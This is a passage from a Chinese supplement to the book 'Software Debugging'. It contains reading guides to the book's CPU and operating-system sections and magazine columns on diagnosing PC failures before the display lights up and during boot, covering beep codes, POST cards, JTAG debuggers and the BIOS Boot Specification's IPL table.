节介绍了断点、跟踪和分支监视的历史,28 章介绍了调试器的历 史,第 29 章介绍了 WinDBG 的发展历史,另外,在书中的其它章节中,也尽可能给出所 介绍技术或者工具的时间信息。《软件调试》的这些历史性内容在其他书中是很少见的。 阅读这些内容,有利于更深入的理解调试技术。 从写作时间角度来看,第一篇是在后面 5 篇大局已定后才写的,不过在考虑篇章结构 时早已经预留好这一篇。 概而言之,第一篇是很容易理解和阅读的,对于初学者来说,应该完整阅读全篇的内 容,特别是 1.1 节和 1.5 节。对于其它读者,那么建议仔细阅读 1.2(特征)、1.3(历史)、 1.6(对“错误与缺欠”的思考)和 1.7 节(关联性),浏览其它各节。 《软件调试》补编 - 139 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 《软件调试》导读之 CPU 篇 《软件调试》的第 2 篇是 CPU 的调试支持,由第 2~7 章组成,共有 136 页,是全书 的第一个核心部分。写作和阅读这一篇的主要目标有如下几个: 10. 介绍大多数软件工程师需要补充的 CPU 基础。 11. CPU 对软件调试核心功能的支持。 12. CPU 对软件调试扩展功能的支持。 13. CPU 中用于调试系统故障和自身问题的设施。 14. 现代 CPU 和集成芯片所使用的硬件调试方案。 针对以上目标,第 2、3 章是满足目标 1 的,4~7 章依次是满足另外四个目标的。下 面对各部分的重点内容分别略作介绍。 一、介绍一个调试高手应该掌握的 CPU 层的基础知识。第 2 章和第 3 章是专门服务 于这一目的的。调试好比行医看病,病人是计算机系统,要能看懂这个系统的毛病然后再 对其施以治疗或者手术,那么必须了解其五丈六腑的结构,血脉流通的路线,生息运转的 机理。要做到这一点,深刻理解计算机系统中硬件部分的核心——CPU——很重要。有人 说,CPU 是重要,但有什么必要在一本《软件调试》的书中写这个呢?调试高手还需要 数学基础和语文基础呢,怎么不开两章讲讲呢?这一拮问不是没有道理,因此作者考虑到 这一点,慎重选择了要讲的内容,并严格控制了篇幅。入选的内容要符合三个条件:一是 够重要,二是够常用,三是与调试密切相关。于是,《软件调试》最后选择如下一些内容: 指令集的概念 指令集的概念 指令集的概念 指令集的概念( ( ( (2.1 节 节 节 节) ) ) ):有几次面试年轻的程序员时,我询问:“你熟悉哪种 CPU 架构和指令集呢?”不止一次,有人不能理解这个问题。“CPU 还有很多种(架构)吗?”x86 太成功了!指令是 CPU 的语言,理解指令集是为构筑软件知识大厦打下一块不可少的基 石。 IA-32 处理器 处理器 处理器 处理器( ( ( (2.2 节 节 节 节) ) ) ):这也是一个备受胡略和误解的重要概念。有人说都进入 64 位时代了,还学 IA-32 干吗?殊不知,今天大多数 PC 使用的 x64 架构只是原有 32 位架构 中的一种新的操作模式(e.g. IA-32e)。要理解 x64,还需要先理解 32 位的情况。或者说, 如果有扎实的 32 位基础,那么可以很容易理解 64 位,反方向则很难走通。因为长达三十 多年的广泛应用(从 1985 年 80386 的推出算起),IA-32 架构对计算机的影响太深入了, 甚至超出了 CPU,影响到了系统总线和外设的设计。2.2 节使用 4 页半的篇幅全面浏览了 已经推出的每一代 IA-32 CPU,从 386 到今天的 Core 2 系列。 CPU 的操作模式(2.3 节):经常遇到的重要概念,扼要介绍。 寄存器(2.4 节):将 IA CPU 的所有寄存器分为五类做了介绍:通用寄存器、标志 寄存器、MSR 寄存器、控制寄存器和其它寄存器。除了介绍概念外,这一小节还有一个 目的是用作“调试手册”,我在调试时,时常还翻到这几页内容,查寄存器的位定义。 保护模式(2.5-2.7 节):这几乎是我做面试时必问的一个概念。深刻理解这个概念, 才能深刻理解今天的计算机系统在如何求解计算机领域的一个永恒课题——多任务。保护 《软件调试》补编 - 140 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 数据是保护模式的一个主要任务,虚拟内存是目前实现这一任务的主要方法。页机制是今 天所有的商业操作系统都依赖的一种机制。理解虚拟内存和页机制对于软件调试也非常重 要。因为如果搞不清楚这些概念,那么就会被虚拟地址、线性地址、物理地址、IO 地址 这些概念所搞晕。也不容易建立起计算机世界的空间概念——内存空间、进程空间等。 中断和异常(第 3 章):这两个概念有联系,又不同。有时又被混用,所以不少程序 员对其模棱两可。IA-32 架构将异常分为三种,这更是很多人闻所未闻。记得有个陌生的 青年写 EMAIL 给我,对《软件调试》76 页的说法“当 CPU 产生异常时,其程序指针是指 向导致异常的下一条指令的”提出质疑: “CPU 产生异常时,其程序指针不是指向原来那条指令吗?” 我回信解释说“因为异常不同,异常发生时程序指针的取值是不同的”,他更加困惑: “我还是不能理解,难道异常还有两种吗?” 我知道了他迷惑的根本原因,把表 3-1“异常分类”发给了他,这下他彻底清楚了。是 啊,如此重要的概念,我们的大学教育(包括计算机科学的研究生)里根本没有,也不能 完全怪个人。 另外,3.4 节的“中断和异常优先级”是写给高水平读者的较难内容。 二、CPU 对软件调试核心功能的根本支持,即第 4 章。这是全书的核心内容之一, 深入介绍了断点指令、调试寄存器和支持单步执行的陷阱标志。这三大支持是构筑今日调 试技术的三大基石,很多至关重要的调试功能都是建立在这三个基础之上的,包括设置断 点、变量监视、各种各样的跟踪执行、调试信息输出、内核调试等等。这一章共有 32 页, 读者应该认真阅读每一页。4.4 节的实模式调试器例析也值得仔细读,最好是把 Tim Paterson 先 生 所 写 的 汇 编 代 码 打 印 出 来 对 照 阅 读 ( 链 接 为 : http://www.patersontech.com/dos/Docs/Mon_86_1.4a.pdf),同时又可以学习汇编和欣赏大 师的“手笔”。 三、CPU 对软件调试扩展功能的硬件支持,即第 5 章。第 4 章介绍的根本支持是从 80386 开始就定形了的东西。软件在不断发展,调试支持明显跟不上速度。因此今天的调 试技术很多时候很乏力。第 5 章介绍的分支记录和性能监视机制可以说是从奔腾开始的新 一代处理器引入的最重要调试支持。它是今天的大多数软件分析(profiling)和性能调优 (performance tune)工具所依赖的基础设施。 四、机器检查机制(第 6 章)。这是奔腾 CPU 引入的一个旨在报告硬件问题的错误 记录和报告机制。这一机制对很多软件工程师可能都很陌生。了解这一机制,不仅可以学 到这样一个 CPU 层的基础知识,而且有助于建立“可调试性”的思想,也就是第 5 篇重点 讨论的东西。 五、硬件调试方案(第 7 章)。软件问题是千变万化的,甚至可以说,很难找到两个 负责的软件问题是一模一样的。因此,不同的调试工具和调试技术都有它的适用范围,不 是无所不能的。比如有些问题,就适合用用户态调试会话来跟踪,有些问题使用内核调试 比较合适,有些问题只使用单纯的软件调试器可能根本不行。这时就要使用硬件调试工具 来帮忙。JTAG 是 CPU 和其它大规模集成芯片普遍使用的测试和调试方案,广泛用于调试 芯片自身、系统软件、固件和特殊复杂的软件问题。从某种程度上讲,基于 JTAG 技术的 硬件工具只是为调试器访问调试目标提供了一种“硬件化”的通信方法。在大多数情况下, 还是要依赖软件调试器这样的软件工具来实现各种调试。或者说,大多时候是把这种调试 方式统一到纯软件的调试方案架构中,这样调试者就可以使用熟悉的调试功能来实现调 《软件调试》补编 - 141 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 试。比如,INTEL 的 ITP 工具就以 COM 组件方式为 WinDBG 提供了服务,使 WinDBG 可 以 通 过 ITP 工 具 进 行 内 核 调 试 , 参 见 http://advdbg.com/blogs/advdbg_system/articles/903.aspx。 最后想提一下 2.8 节——系统概貌。这一节用一页的篇幅介绍了今天 PC 系统的硬件 架构,也就是图 2-13。在脑海中能有这样一幅图对于理解计算机系统很有好处。这里介绍 了一系列常用的术语,比如南桥、北桥、总线、芯片组等。CPU、北桥和南桥是目前主板 上的三颗最重要芯片。即将推向市场的下一代芯片组将把北桥的功能整合到 CPU 和南桥 中,即所谓的“双芯片架构”,不过这仍不影响基本的概念,比如内存控制器(memory controller)依然存在,只不过是移到 CPU 内部。 总体来说,第 2 篇的内容都比较好理解,篇幅也不是很长。稍微用点毅力就可以将其 通读一遍。希望读者看过后能对 CPU 的认识有一个明显的提高,使自己的硬件基础更扎 实些。当然重中之重是调试支持,后面几篇还会接着讲...... 《软件调试》补编 - 142 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 《软件调试》导读之操作系统篇 在今天的计算机架构中,操作系统是整个系统的统治者,它指挥着系统中的软硬件。 如果拿人类社会来类比,那么操作系统好比是国家机器,应用软件是公民,操作系统的各 个执行体是国家机构。从这个角度来看,操作系统与应用软件之间是统治与被统治的关系。 对于最终用户来说,他们需要的是应用软件,大多用户说不清什么是操作系统,只知 道没有它不行。用户之所以肯掏出钱买操作系统是因为有了它才能跑自己需要的应用软 件。从这个角度来说,应用软件是操作系统从用户那里拿到钱的资本,应用软件是前台唱 戏的主角,操作系统是藏在后面的支持者。 概而言之,应用软件与操作系统之间既有统治关系,又有共生关系,应用软件对操作 系统来说可谓是“船可载舟,亦能覆舟”。理解了这层意义之后,对于一个操作系统来说, 它存活的关键就是要能运行尽可能多的应用软件,而且这些软件最好是用户离不开的,最 好是在其它操作系统上无法运行的,最好是不断更新的,最好是高质量的,而且最好这样 的软件会层出不穷、源源不断的涌出来....... 或者说,对一个操作系统来说,光把自己的代码弄好还远远不够,还要有能力跑缤纷 多彩的应用软件,有魄力为应用软件搭建一个宽广伟岸的运行平台,有魅力吸引软件开发 商(ISV)前仆后继的为其开发应用软件。深刻理解这一点不容易,做到这一点就更不容 易了。 要有高质量的应用软件不容易,为了做到这一点,操作系统需要提供基础设施来支持。 有点像很多好的公司都为员工准备健身房一样,操作系统也要给应用软件建设好磨练筋骨 的地方,让它们身强体壮,身手敏捷,能适应各种复杂甚至恶劣的运行环境。 当然对于不守纪律的人,也要有纪律来惩罚,吊起来上刑(图中右侧那个)。对于生 病了人,应该有医生帮助它治疗。 《软件调试》补编 - 143 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 让 ISV 愿意在一个系统上做软件开发不是件容易的事,吸引一个 ISV 可能很简单, 但是吸引成千上万的 ISV 就不容易了。软件开发不是请客吃饭,一个软件开发团队的日常 开销不是小数目。还活着 ISV 大多懂得不能在螺蛳壳里做道场的道理。就像选择开发区做 投资要考察它的基础设施一样,要在一个系统上做开发,也应该衡量下这个系统的基础设 施怎么样。对于开发区来说,交通、水、电、煤气、网络等等都是头等重要的基础设施。 而对一个操作系统来说,API、开发工具和调试设施可谓是直接影响软件开发效率的关键 基础设施。 《软件调试》将操作系统的调试设施分为如下几类: 支持调试器的系统设施:因为调试器是软件调试的核心工具,所以支持调试器是操作 系统支持调试的首要任务。在 DOS 这样的单任务系统中,调试器可以直接使用硬件中的 调试设施,因此基本不需要操作系统的支持,但是在一个多任务的操作系统中,调试器可 能也同时运行很多个,这就要求操作系统必须来统一管理和协调调试资源。另外,多任务 环境下的诸多保护机制使得让操作系统来实现必要的“调试器功能”是最合适的,比如收集 和分发调试事件。从运行模式角度来看,多任务环境下的软件有的运行在搞特权的内核模 式下,有的运行在低特权的用户模式下。调试这两种不同模式下的软件有着很多不同,因 此通常使用不同的调试器,即内核态调试器(第 18 章)和用户态调试器(第 9 章和第 10 章)。 异常处理:处理异常是软件开发中一个老生常谈的话题。也是很多程序员觉得难以理 解和棘手的问题。操作系统能不能减轻程序员这方面的负担呢?如果能又是如何做的呢? 在这个问题上,不同操作系统的做法有挺大的不同。举例来说,同样是 C++语言规范中的 try{}catch()结构,在某些系统下就可以捕捉到 CPU 产生的异常(有时称异步异常),而在 某些系统上就不能捕捉。《软件调试》的第 11 章详细介绍了 Windows 操作系统中管理和 分发异常的方法。如果应用软件自己没有处理异常又怎么样呢?第 12 章介绍了未处理异 常的处置方法。很多人对 Windows 下异常处理机制的一个困惑是搞不清楚所谓的第一轮 (First Chance)和第二轮(Last Chance)。看过上面两章后,可以把这个问题彻底搞清楚。 错误通知机制:指实时的向用户通报错误信息(第 13 章),通过对话框、声音、闪动 窗口等。 错误报告机制:软件是要给客户用的,而且发布到客户手里的软件也会出问题。从 BUG 的成本曲线(《软件调试》图 1-9,P23)来看,解决发布后的 BUG 的成本是最高的。 如何降低这个成本呢?普遍认可的一种方法就是让位于客户那里的软件为自己产生一份 “生病”报告,整理,然后借助互联网发送出来(第 14 章)。 错误记录机制:指永久记录软件的运行过程,特别是遇到异常和错误时的情况(第 15 章)。 事件追踪机制:错误记录机制通常不适合频繁的输出,如果频繁输出那么不仅会明显 影响系统的性能,而且可能导致记录文件很大,难以检索有用的信息。而事件追踪机制就 是针对这一需求而设计的,因为是使用专门的内存缓冲区,而且具有动态开启机制,所以 它能够承受频繁的信息输出,而且开销不大(第 16 章)。 验证机制:根据 BUG 的成本曲线,越早发现问题越好,但是做到早发现问题并不容 易。一种方法就是一个更严格的标准进行测试,让被测试软件在更苛刻的条件下运行,故 意为其设置障碍来考验它。如何实施这些考验呢?操作系统的验证机制就是满足这一需要 的(第 19 章)。 《软件调试》补编 - 144 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 硬件错误管理机制:有些严重的崩溃和挂住是与硬件有关的,但是却找不到进一步的 信息来定位到根源,以便排除或者在以后的产品中改进。PCIe 总线标准中制定了报告错 误的通用机制,CPU 中也有机器检查设施(第 6 章),但是这些硬件设施是需要软件,特 别是系统软件的配合才能发挥作用的(第 17 章)。 打印调试信息:打印调试信息(Output debug info 或者 Print)是一种简单易用的辅助 调试方法。这种方法的不足就是效率比较低,不仅运行效率低,而且增加和减少需要重新 编译,时间成本很高(10.7 节)。 崩溃和转储机制:转储是最古老的调试方法之一,简单说就是把内存数据“拍张照片” 保存下来。在 Jack Dennis 为《软件调试》写的《历史回眸》短文中就提到了这种方法, 当年是先使用一个工具程序将内存中的数据显示到 CRT 上,然后用照相机拍下 CRT 上的 内容,最后再使用胶卷阅读器来阅读冲洗出来的胶片。这可真是给内存“拍照”(12.9 节和 13.3 节)。 为了让读者对以上调试设施有一个全面的理解,《软件调试》使用了三分之一的篇幅 进行介绍,分 12 章,总页数达 376 页之多。这样的篇幅也使这一篇成为全书六篇中最长 的一篇。为什么花这么大篇幅呢? 1)第 9、10、18 章分别介绍的是用户态和内核态调试模型,是理解调试器的基础, 因此理当不惜笔墨。这三章分别是 34 页、46 页和 52 页,加起来为 132 页,占这一篇的 三分之一。 2)第 11 章和 12 章介绍异常分发和未处理异常,这些内容不仅与调试器有着密切关 系,而且是本书的“异常”主题的核心内容。这两章一共有 86 页。 3)其它 7 章肩负着介绍上面提到的其它辅助调试设施的责任,一共用了 158 页,平 均每章 22 页。介绍这些内容一则是对调试有全面的理解,在软件工程中使用这些设施, 另外也可以帮助大家更好的理解操作系统,提高综合调试能力。 另一个问题是以什么方式来介绍这些调试设施。是以一个具体的操作系统为例详细介 绍,还是以抽象理论为主,偶尔举例。《软件调试》采用的是前一种方法,而且选择的是 Windows。为什么选择 Windows 呢?主要原因是它的广泛性。为什么没有选择 LINUX 呢? 主要原因是它在调试方面还有很多足。很多资深的 LINUX 也不讳言 LINUX 在调试方面 的缺欠,直至今天,LINUX 下最普遍使用的调试方法依然是 PRINT。事实上,选择 LINUX 来写,会好写很多,毕竟有现成的源代码可以读。 尽管书中多次明显提到选择 Windows 只是将其作为一个操作系统实例来介绍操作系 统对软件调试的支持,但是还有一些人无法理解。不过,在买了书的读者中,还是理解的 人多,其中也有一些专业做 LINUX 的工程师或者讲师。 上面介绍了这一篇的写作目的、主要内容和结构布局,下面再推荐一下阅读的顺序。 对于初级读者,建议先泛读第 9、10 两章之外的所有章节,然后仔细读第 11 章和 12 章, 再后则读第 13 章中的《硬错误和蓝屏》。对于有一定调试基础的中级读者,可以根据自己 的兴趣仔细读感兴趣的章节。对于高级读者,可以先读第 9、10 和 18 章,然后浏览其它 章节,遇到感兴趣的仔细阅读。 [12 月 31 晨略作修改,增加插图] 《软件调试》补编 - 145 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 11 “ “ “ “调试之剑 调试之剑 调试之剑 调试之剑” ” ” ”专栏之启动系列 专栏之启动系列 专栏之启动系列 专栏之启动系列 补编说明: 大约从 2005 年开始,我陆续在《程序员》杂志上发表一些关于软件调试 的文章,最早的一个系列是“CPU 的调试支持”,而后又写了几期后便中 断了。2008 年 9 月,《软件调试》出版后,《程序员》杂志建议我继续以前 的调试专栏,并命名为调试之剑。 新的“调试之剑”专栏开始后,我写的第一个系列便是“系统启动系列”, 已经发表了下面四篇文章: 举步维艰——如何调试显示器点亮前的故障 权利移交——如何调试引导过程中的故障 步步为营——如何调试操作系统加载阶段的故障 百废待兴——如何调试内核初始化阶段的故障 以上文章发表后,虽然收到几封读者的来信(通过编辑),总的来说反响 甚是冷淡。可能大多数人都提不起来兴趣学习这些没用的东西。 《软件调试》补编 - 146 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 举步维艰——如何调试显示器点亮前的 故障 显示器是个人计算机(PC)系统中必不可少的输出设备,它是计算机向用户传递信 息的首要媒介。用户也正是通过显示器来观察计算机所作的“工作”,与其交流。离开了 显示器,我们便很难知道计算机在干什么。因为这个原因,在计算机系统启动的早期,要 做的一个重要任务就是初始化显示系统以便可以通过显示器输出信息,俗称点亮显示器。 对于今天的大多数个人计算机,从用户按下电源按钮到显示器被点亮通常在一秒钟左 右。对人类而言,这是一个稍纵即逝的时间。但对计算机系统和 CPU 而言,这一秒钟要 完成很多任务。如果中间遇到障碍,那么便可能停滞不前,出现显示器迟迟没有被点亮的 现象。今天我们就由浅入深的谈一谈遇到这种情况时该如何处理。考虑到笔记本系统的差 异性较大,我们将以典型的台式机系统(即所谓的 IBM 兼容 PC)为例。为了辅助记忆, 我们不妨套用一下我国中医使用的“望闻问切”方法。 望 望 望 望—— —— —— ——不要闹笑话 不要闹笑话 不要闹笑话 不要闹笑话 首先,应该“望一望”主机和显示器的电源是否都插上了,它们的指示灯是否正常, 它们之间的连线是不是连接妥当。这样做的目的是在“大动干戈”之前做好基本的检查, 防止费了很多力气最终才发现是插头松了这样的低级问题,闹出笑话。不过这些检查靠常 识就足够,没有什么技术含量,我们不去赘述。 闻 闻 闻 闻—— —— —— ——听声识原委 听声识原委 听声识原委 听声识原委 中医中的“闻”既包含用耳朵听,也包含用鼻子闻——嗅。这两种途径对我们也都适 用。 我们先来谈如何靠听来了解计算机系统的病在哪里。尽管今天的个人计算机主要是靠 声卡(或者集成在芯片组中集成音频设备)来播放声音的,但是在个人计算机诞生之初并 没有声卡,甚至到了上世纪九十年代初笔者购买电脑时,典型的 PC 系统仍没有声卡,原 因是价格很贵。在声卡出现之前,图 1 所示的扬声器是 PC 系统上的主要发声设备。 《软件调试》补编 - 147 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 1 位于机箱上的 PC 喇叭 图 1 中的照片是从一台大约购于 2000 年的旧电脑中拍摄的。那时声卡设备便比较普 及,PC 喇叭的用途变得越来越少,为了节约成本,今天的 PC 系统通常用一个位于主板 上的小蜂鸣器(Beeper)来代替 PC 喇叭(图 2),二者虽然外观有很大的不同,但是工作 原理是完全一样的。因此我们仍使用统一的名字来称呼它们。 图 2 位于主板上的蜂鸣器 对程序员来说,使用 PC 喇叭的方法非常简单,只要将 I/O 端口 0x61 的最低两位都写 为 1 便可以让 PC 喇叭开始鸣叫;将最低两位中的某一位置为 0 便可以让它停止鸣叫。通 过一个小实验可以很方便的感受一下。使用 WinDBG 启动一个本地内核调试会话,然后 使用端口输出命令来读写 0x61 端口,这样便可以开关 PC 喇叭。具体来讲,首先使用 ib 命令读出端口 0x61 的当前内容: lkd> ib 0x61 00000061: 30 然后,把读到值的低三位置为 1,使用 ob 命令输出(执行前做好心理准备,叫声可 能很刺耳): lkd> ob 0x61 30|3 此时读取这个端口的内容,可以看到端口值的低两位都为 1。听得不耐烦了吧,那么 赶紧执行下面的命令将其停止: lkd> ob 0x61 30 事实上,端口 0x61 的位 0 的含义是启用 PC 系统中的可编程时钟计数器(Programmable Interval-Timer/Counter,通常称为 8253/8254)的 2 号通道(共有三个,分别为 0、1 和 2) 使其输出一定频率的方波脉冲,刚才听到的鸣叫声正是这个方波输出给 PC 喇叭而发出的。 端口 0x61 的位 1 相当于给时钟控制器的输出加一个开关,或者说加了个与门(图 3)。 《软件调试》补编 - 148 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 3 PC 喇叭的工作原理示意图 时钟控制器的输出频率是可以改变的,以变换的频率来驱动 PC 喇叭可以使其发出一 些简单的“旋律”。 因为大多数 PC 系统都有 PC 喇叭,而且对软件来说,使用 PC 喇叭输出声音非常简单, 所以计算机系统的设计者们很自然地想到了在 PC 启动早期使用蜂鸣器来报告系统遇到的 错误情况。虽然播放复杂的声音很困难,但是可以使用蜂鸣的次数或者每次蜂鸣的长短不 同来代表不同的含义。因为这种错误信息是通过 PC 喇叭以鸣叫的方式报告的,所以通常 称为蜂鸣代码(Beep Code)。 当按下 PC 机的电源按钮后,首先运行的是固化在系统主板上的固件程序(firmware), 通常称为 POST 程序,POST 是 Power On Self Testing 的缩写,含义是上电自检。不同的 POST 程序(固件),定义蜂鸣代码的方式也有所不同。表 1 中列出的是英特尔主板通常 使用的蜂鸣代码。 表 1 英特尔主板所使用的蜂鸣代码 蜂鸣代码 含义 鸣叫 1 声 DRAM 刷新失败 鸣叫 2 声 校验电路失败 鸣叫 3 声 基础 64K 内存失败,可能是没有插内存条或者内存条松动 鸣叫 4 声 系统时钟失败 鸣叫 5 声 处理器(CPU)失败 鸣叫 6 声 键盘控制器失败 鸣叫 7 声 CPU 产生异常 鸣叫 8 声 显卡不存在,或者显卡上的显存失败 鸣叫 9 声 固件存储器中内容的校验和与固件中记录的不一样 鸣叫 10 声 读写 CMOS 中的数据失败或者其内容有误 鸣叫 11 声 高速缓存失败 通常,在固件厂商的网站或者产品手册中可以查找到蜂鸣代码的含义。例如通过以下 链 接 可 以 访 问 到 英 特 尔 主 板 / 固 件 的 蜂 鸣 代 码 含 义 : http://www.intel.com/support/ motherboards/desktop/sb/cs-010249.htm 在以下网页中列出了其它几种常见固件的蜂鸣代码定义:http://www.computerhope. com/beep.htm 关于 PC 喇叭,还有两点需要说明。第一点是,有些固件在正常完成基本的启动动作 后会鸣叫一声,这并不是报告错误,而是报告好消息。第二点是台式机的 PC 喇叭通常是 不受静音控制的,而笔记本电脑的 PC 喇叭是受静音控制的,因此在诊断笔记本电脑时应 该调整音量按钮取消静音,这样才可能听到蜂鸣代码。 《软件调试》补编 - 149 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 下面再谈一下闻的另一种含义——“嗅”,也就是闻味道。当出现显示器无法点亮这 样的故障时,确实可能是某些硬件损坏了,比如电容被击穿和短路等。因此在每次开机和 调试时,不妨用鼻子闻一闻,如果闻到烧焦味道,那么应该立刻切断电源;如果有其它事 情需要离开,那么也该先给系统断电。 问 问 问 问—— —— —— ——黑暗中交谈 黑暗中交谈 黑暗中交谈 黑暗中交谈 在显示器被点亮前,系统通常还不能接收键盘和鼠标输入,这时该如何询问它呢?一 种简单的方法是改变系统的配置或者调换系统的部件,然后通过聆听蜂鸣代码或者观察它 的其它反应来感知计算机的“回答”,以便收集更多的信息。举例来说,有一个故障系统, 按下电源后很久,显示器仍不亮,也听不到任何蜂鸣声音。这时,可以先切断电源,拔下 所有内存条,然后再上电开机,如果听到三声鸣叫,那么便说明系统已经执行到内存检查 部分,这可以初步证明 CPU 是正常的,系统的主板也是可以工作的。 切 切 切 切—— —— —— ——接收自举码 接收自举码 接收自举码 接收自举码 中医中的切是指把脉,也就是通过感受患者的脉搏来了解健康状况。那么如何能感受 计算机系统的脉搏并从中提取出它的生命信息呢?PC 系统的开拓者们真的设计出了一种 方法。简单来说,就是将一种名为“上电自检卡(POST Card)”的标准 PC 卡插到系统的 扩展槽中,让这块卡“切”入到目标系统中来监听系统总线上的活动,接收上面的数据。 上电自检卡通常是 PCI 接口的,也有 ISA 接口的。图 4 中的照片便是一个 PCI 接口的上 电自检卡。 图 4 PCI 接口的上电自检卡 为了支持调试,POST 程序在执行的过程中,会将代表一定含义的 POST 代码发送到 0x80 端口。系统硬件会将发送到这个端口的数据发送到 PCI 总线上,于是上电自检卡便 可以从总线上读取到 POST 代码,然后显示出来。POST 程序会使用不同的 POST 代码代 表不同的含义,有些代表错误号,有些代表进展到了哪个阶段。通常可以在产品的技术文 档中查找到 POST 代码的含义,然后根据这个含义来了解故障的原因。 《软件调试》补编 - 150 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 透视和跟踪 透视和跟踪 透视和跟踪 透视和跟踪 使用上面介绍的四类方法,通常可以定位出导致故障的部件或者粗略的原因,对于普 通的测试或者维修目的,做到这一步也就可以满足要求了。那么对于需要修正故障或者想 深入研究的开发人员该如何进一步分析出精确的故障位置呢?如果是软件错误,那么能不 能分析出是哪段程序或者哪条指令出错了呢? 要做到这一点,比较有效的方法是使用调试器。因为这个时候系统还在初始化阶段, 纯软件的调试器还不能工作,所以这时需要硬件调试器,也就是《软件调试》第 7 章介绍 的基于 JTAG 技术的 ITP/XDP 调试器或者同类的硬件工具。 使用硬件调试器可以单步跟踪执行 POST 程序;可以设置断点,包括代码断点(执行 到指定地址的代码时中断)、内存访问断点(访问指定的内存地址时中断)和 IO 访问断点 (访问指定的 IO 地址时中断);也可以在发生重要事件时中断下来,比如进入或者退出系 统管理模式(SMM)时中断、进入或者退出低功耗状态时中断、或者系统复位后立刻中 断等。举例来说,在将系统复位事件的处理方式设置为中断(break)并重启系统后,CPU 复位后一开始执行便会中断到调试器中。观察此时的寄存器值(图 5),代码段寄存器 cs=f000,程序指针寄存器 eip=0000fff0。因为这时 CPU 工作在实模式下,所以目前要执行 代码的物理地址是 0xf000 x 16 + 0xfff0 = 0xffff0,这正是 PC 标准中定义的 CPU 复位后开 始执行的程序地址,PC 系统的硬件保证这个地址会指向位于主板上的 POST 程序。因此 可以毫不夸张的说,以这种方式中断到调试器中可以得到“最早的”调试机会,从 CPU 复位后执行的第一条指令开始跟踪调试。 图 5 CPU 复位后的寄存器值 接下来,使用断点功能对端口 0x80 设置一个 IO 断点,然后恢复 CPU 执行: [P0]>go 结果,这个断点很快便命中了,调试器显示: [ Debug Register break at 0x0010:00000000fffffeca in task 00000 ] [[P1] BreakAll break at 0xf000:0000000000000000 ] 因为系统中的 CPU 是双核的,所以第 1 行显示的是 0 号 CPU(P0)的中断位置,第 2 行显示的是 1 号 CPU 的中断位置,其程序指针寄存器的值为 0,还没有开始工作。使用 反汇编指令可以观察断点附近的指令: [P0]>asm $-2 length 10 0x0010:00000000fffffec8 e680 out 0x80, al 0x0010:00000000fffffeca e971f9ffff jmp $-0x0000068a ;a=fffff840 《软件调试》补编 - 151 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 0x0010:00000000fffffecf 680000e4ff push 0xffe40000 0x0010:00000000fffffed4 68c4faffff push 0xfffffac4 … 可见,中断前执行的正是向 0x80 号端口输出的指令。观察一下 al 寄存器,它的值为 1,看一下上电自检卡上显示的数字也是 1,正好吻合。 归纳 归纳 归纳 归纳 今天,我们介绍了一种比较特殊的调试任务。之所以介绍这个内容,除了让大家了解 上面介绍的调试方法外,还有两个目的。一是学习 PC 系统的设计者们以不同方式支持调 试的聪明才智和重视调试的职业精神,他们在打印信息或者显示文字等方法不可行的情况 下,设计出了蜂鸣代码和 POST 代码这样的调试机制,这些机制看似简陋,但是却可以传 递出来自系统第一线的直接信息,实践证明这些信息可以大大提高调试的效率。二是希望 能提高大家对计算机硬件和整个系统的兴趣,程序员的主要目标是编写软件,但是对硬件 和系统的深刻理解对于程序员的长远发展是有非常有意义的。 下一期的问题: 一台安装 Windows 的计算机系统开机后显示因为系统文件丢失而无法进入系统,对 于这样的问题有哪些方法来调试和解决? 《软件调试》补编 - 152 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 权利移交——如何调试引导过程中的故 障 上一期我们讨论了如何调试显示器点亮前的故障,在文章中我们提到,CPU 复位 (Reset)后,首先执行的是固化在主板上的 POST 程序(图 1)。POST 程序的核心任务是 检测系统中的硬件设备,并对它们做基本的检查和初始化,并根据需要给它们分配系统资 源(中断、内存和 IO 空间等)。POST 程序成功执行后,系统接下来要做的一个重要任务 便是寻找和加载操作系统(OS)。对于不同的计算机系统和不同的使用需求,需要加载的 操作系统可能位于不同的地点。最常见的情况是操作系统位于硬盘(Hard Disk)上,但是 也可能位于光盘、优盘、软盘或者网络上。 图 1 计算机的启动过程 通常把寻找和加载操作系统的过程叫做引导(Boot 或者 Bootstrap),也就是图一中的 黄色方框。本期我们就谈谈引导有关的问题,介绍如何分析和调试的这个过程中可能发生 的故障。 BBS—— —— —— ——BIOS 引导规约 引导规约 引导规约 引导规约 考虑到引导过程涉及到来自不同厂商生产的不同部件之间的协作,因此需要一个标准 来定义每个部件的职责和各个部件之间交互的的方法,在这种背景下,英特尔、Phoenix 和康柏公司在 1996 年联合发布了 BIOS 引导规约(BIOS Boot Specification),简称 BBS(图 2)。尽管十几年已经过去了,但是这个规约中的大多数内容至今仍被使用着。本文中使用 的很多术语和数据结构都来自这个规约。在互联网上搜索 BIOS Boot Specification,可以 下载到 BSS 的电子版本。 《软件调试》补编 - 153 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 2 BIOS 引导规约 IPL 表格 表格 表格 表格 BBS 把系统中可以引导和加载 OS 的设备成为初始程序加载设备(Initial Program Load Device),简称 IPL 设备。BIOS 会在内存中维护一个 IPL 表格,每一行(表项)描述一个 IPL 设备。表 1 列出了 IPL 表的各个列(表项的字段)的用途和详细情况。 表 1 IPL 表项的各个字段 名称 偏移 长度(字节) 描述 deviceType 00h 2 设备标号,参见下文 statusFlags 02h 2 状态标志 bootHandler 04h 4 发起引导的代码的地址 descString 08h 4 指向一个以零结束的 ASC 字符串 expansion 0ch 4 保留,等于 0 其中的 deviceType 字段用来记录代表引导设备编号的数字,01h 代表软盘,02h 代表 硬盘,03h 代表光盘,04h 代表 PCMCIA 设备,05h 代表 USB 设备,06h 代表网络,07h..7fh 和 81..feh 保留,80h 代表以 BEV 方式启动的设备(我们稍后详细讨论)。接下来的 statusFlags 